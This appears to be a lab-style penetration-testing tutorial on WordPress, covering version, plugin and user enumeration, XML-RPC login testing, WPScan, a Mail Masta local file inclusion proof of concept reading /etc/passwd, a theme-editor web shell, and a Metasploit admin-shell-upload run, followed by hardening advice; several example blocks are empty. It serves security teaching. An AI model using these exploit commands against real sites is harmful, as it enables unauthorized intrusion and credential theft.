WordPress Enumeration and Exploitation
WordPress is one of the most common content management systems on the web, which also makes it a frequent target during web application assessments. A WordPress compromise usually comes from one of three areas: outdated core software, vulnerable plugins or themes, or weak administrative access controls.
For penetration testing, WordPress should be approached in stages: identify the core version, enumerate plugins and themes, discover valid users, test authentication paths, and then validate exploitable findings such as vulnerable plugins, local file inclusion, or authenticated remote code execution through the dashboard.
1. WordPress Core Version Enumeration
Identifying the WordPress core version is one of the first steps during reconnaissance. The version can often be used to search for known vulnerabilities, exposed misconfigurations, or outdated security behavior.
Meta Generator Tag
The simplest method is checking the HTML source for the meta generator tag.
Example output:
This directly reveals the WordPress version.
Version Disclosure in CSS and JavaScript
If the generator tag is removed, WordPress may still disclose the version in loaded CSS or JavaScript files through the ?ver= parameter.
Example CSS reference:
<link rel='stylesheet' id='bootstrap-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />
Example JavaScript reference:
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3'></script>
The ?ver=5.3.3 value may reveal the WordPress core version or the component version.
Legacy readme.html
Older WordPress installations may expose a default readme.html file in the web root.
This file may disclose the installed WordPress version. Modern installations and security plugins often remove or restrict access to it, but it is still worth checking during enumeration.
2. Plugin and Theme Enumeration
Plugins and themes are often the weakest part of a WordPress installation. They are developed by third parties and may introduce vulnerabilities such as Local File Inclusion, SQL Injection, Cross-Site Scripting, arbitrary file upload, or authentication bypass.
WordPress plugins are usually stored under:
Themes are usually stored under:
Passive Plugin Enumeration
Plugins often load JavaScript or CSS files into public pages. These paths can be scraped from the page source.
curl -s http://blog.inlanefreight.com \
| sed 's/href=/\n/g' \
| sed 's/src=/\n/g' \
| grep 'wp-content/plugins/' \
| cut -d"'" -f2
Example findings:
This reveals installed or active plugins.
Passive Theme Enumeration
Themes can be discovered in the same way by searching for /wp-content/themes/.
curl -s http://blog.inlanefreight.com \
| sed 's/href=/\n/g' \
| sed 's/src=/\n/g' \
| grep 'themes' \
| cut -d"'" -f2
Example finding:
Active Plugin Enumeration
Passive enumeration only reveals components loaded on the page being inspected. Some installed plugins may not load assets on the homepage. Active enumeration checks known plugin paths directly.
A 301, 200, or 403 response can indicate that the plugin exists.
A 404 Not Found usually indicates that the plugin is not installed.
3. Directory Indexing
Directory indexing occurs when the web server allows users to browse directory contents directly. In WordPress, this can expose plugin folders, theme files, backups, changelogs, and disabled components.
A disabled plugin is not necessarily safe. If the plugin files remain on the server, vulnerable PHP scripts may still be directly accessible.
Example:
Directory indexing may reveal:
- Plugin versions
readme.txtfiles- Backup files
- Hidden scripts
- Directly accessible vulnerable PHP files
The safest remediation is to delete unused plugins and themes, not merely deactivate them.
4. WordPress User Enumeration
Valid usernames are useful for password attacks, credential stuffing, and targeted phishing. WordPress commonly leaks usernames through author pages and the REST API.
Author ID Enumeration
WordPress assigns numerical IDs to users. The first administrator account is often user ID 1.
If the user exists, WordPress may redirect to an author page:
This reveals the username admin.
A non-existent user may return:
REST API User Enumeration
The WordPress REST API can expose published users through the /wp-json/wp/v2/users endpoint.
Useful fields include:
| Field | Description |
|---|---|
id |
Numeric user ID |
name |
Public display name |
slug |
URL-friendly username value |
link |
Author page URL |
In newer WordPress versions, this endpoint generally only exposes users who have published content.
5. Brute-Forcing WordPress Logins
After valid usernames are identified, attackers may attempt password attacks against WordPress authentication endpoints.
The standard login page is:
Another high-value endpoint is:
XML-RPC Authentication Testing
The xmlrpc.php endpoint allows remote applications to interact with WordPress. Attackers abuse it because it may allow many credential attempts through fewer HTTP requests.
A manual credential test can be sent using the wp.getUsersBlogs method.
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
A successful response may contain:
An invalid login may return:
<name>faultCode</name><value><int>403</int></value>
<name>faultString</name><value><string>Incorrect username or password.</string></value>
6. Automating WordPress Enumeration with WPScan
WPScan is the standard tool for WordPress security assessment. It can enumerate versions, users, plugins, themes, and known vulnerabilities.
Installation
WPScan is usually preinstalled on Kali Linux and Parrot OS.
Common WPScan Options
| Task | Flag | Description |
|---|---|---|
| User enumeration | -e u |
Enumerates valid usernames |
| All plugins | -e ap |
Enumerates all detectable plugins |
| Vulnerable plugins | -e vp |
Shows vulnerable plugins |
| Vulnerable themes | -e vt |
Shows vulnerable themes |
| Aggressive plugin detection | --plugins-detection aggressive |
Brute-forces plugin paths |
Example scan:
With an API token:
The API token is required to map detected components to known vulnerabilities.
7. Exploiting Vulnerable Plugins: Mail Masta LFI
A common WordPress exploitation path is finding a vulnerable plugin and validating the vulnerability manually.
The Mail Masta plugin version 1.0 and below is vulnerable to unauthenticated Local File Inclusion.
Relevant vulnerability:
The issue exists because the plugin passes user-controlled input to a PHP include() call without proper validation.
Vulnerable path:
Vulnerable parameter:
Reading /etc/passwd
Browser PoC:
http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
cURL PoC:
curl "http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
Example output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
This confirms file read access on the server.
LFI to Sensitive File Disclosure
If PHP wrappers are allowed, the LFI may be used to read PHP source code by Base64-encoding the output.
Example target:
Payload pattern:
This can expose database credentials, authentication salts, and other sensitive WordPress configuration values.
LFI to RCE Concepts
An LFI may sometimes be escalated to Remote Code Execution if attacker-controlled content can be included as PHP.
Common escalation paths include:
| Technique | Idea |
|---|---|
| Log poisoning | Inject PHP into web logs and include the log file |
| PHP filter wrappers | Read source code and extract credentials |
| Session poisoning | Place payloads in session files and include them |
| Uploaded file inclusion | Upload a file and include it through the vulnerable parameter |
These depend on server configuration, file permissions, and what files are readable through the LFI.
8. Authenticated WordPress RCE via Theme Editor
If an attacker gains administrator access to the WordPress dashboard, they may be able to execute code by editing PHP theme files.
WordPress includes a Theme Editor under:
This feature allows administrators to modify theme PHP files from the browser.
Web Shell Through Theme Editor
A common approach is to edit a non-critical file in an inactive theme, such as 404.php.
Example PHP payload:
After saving the file, the payload can be triggered directly:
Using cURL:
Example output:
This confirms command execution as the web server user.
Reverse Shell Upgrade
Once command execution is confirmed, the attacker may attempt to obtain an interactive shell.
Example Bash reverse shell payload:
The payload usually needs to be URL-encoded before being passed through a browser or cURL request.
9. Automating Authenticated Exploitation with Metasploit
Metasploit can automate WordPress exploitation when valid administrator credentials are available.
The common module is:
This module logs in to WordPress, uploads a malicious plugin, triggers the payload, and opens a Meterpreter session.
Example Metasploit Workflow
msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS blog.inlanefreight.com
set USERNAME admin
set PASSWORD Winter2020
set LHOST 10.10.16.8
run
Successful result:
[*] Authenticating with WordPress using admin:Winter2020...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Meterpreter session 1 opened
Verify the session user:
10. WordPress Hardening
WordPress hardening focuses on reducing attack surface, preventing credential attacks, and limiting post-authentication damage.
Keep WordPress Updated
Outdated WordPress core, plugins, and themes are a major source of compromise.
Automatic updates can be enabled in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Disable File Editing
To prevent dashboard-based RCE through the Theme Editor or Plugin Editor, add this to wp-config.php:
Remove Inactive Plugins and Themes
Deactivated plugins can still expose vulnerable files. Delete unused plugins and themes entirely.
Protect Authentication
Recommended controls:
- Do not use the default
adminusername - Enforce strong passwords
- Enable multi-factor authentication
- Rate-limit login attempts
- Restrict access to
/wp-login.php - Disable or restrict
xmlrpc.phpif not required
Reduce Enumeration
Recommended controls:
- Disable public user enumeration through the REST API
- Block
?author=redirects - Remove version disclosure from source code
- Disable directory indexing
- Restrict access to plugin and theme directories where possible
Use Security Plugins Carefully
Security plugins can add monitoring, firewall rules, and malware scanning.
| Plugin | Useful Features |
|---|---|
| Wordfence | WAF, malware scanning, login rate limiting |
| Sucuri Security | File integrity monitoring, blacklist checks, auditing |
| iThemes Security | 2FA, login protection, configuration hardening |
Security plugins are helpful, but they do not replace patching, least privilege, or proper server configuration.
11. Quick Reference
| Objective | Command / Path |
|---|---|
| Check generator tag | curl -s <url> \| grep generator |
| Find plugins | grep 'wp-content/plugins/' |
| Find themes | grep 'wp-content/themes/' |
| Check plugin directory | curl -I <url>/wp-content/plugins/<plugin> |
| Author enumeration | /?author=1 |
| REST API users | /wp-json/wp/v2/users |
| XML-RPC endpoint | /xmlrpc.php |
| WordPress login | /wp-login.php |
| WPScan users/plugins | wpscan --url <url> -e u,ap |
| Mail Masta LFI | count_of_send.php?pl=/etc/passwd |
| Disable file editing | define( 'DISALLOW_FILE_EDIT', true ); |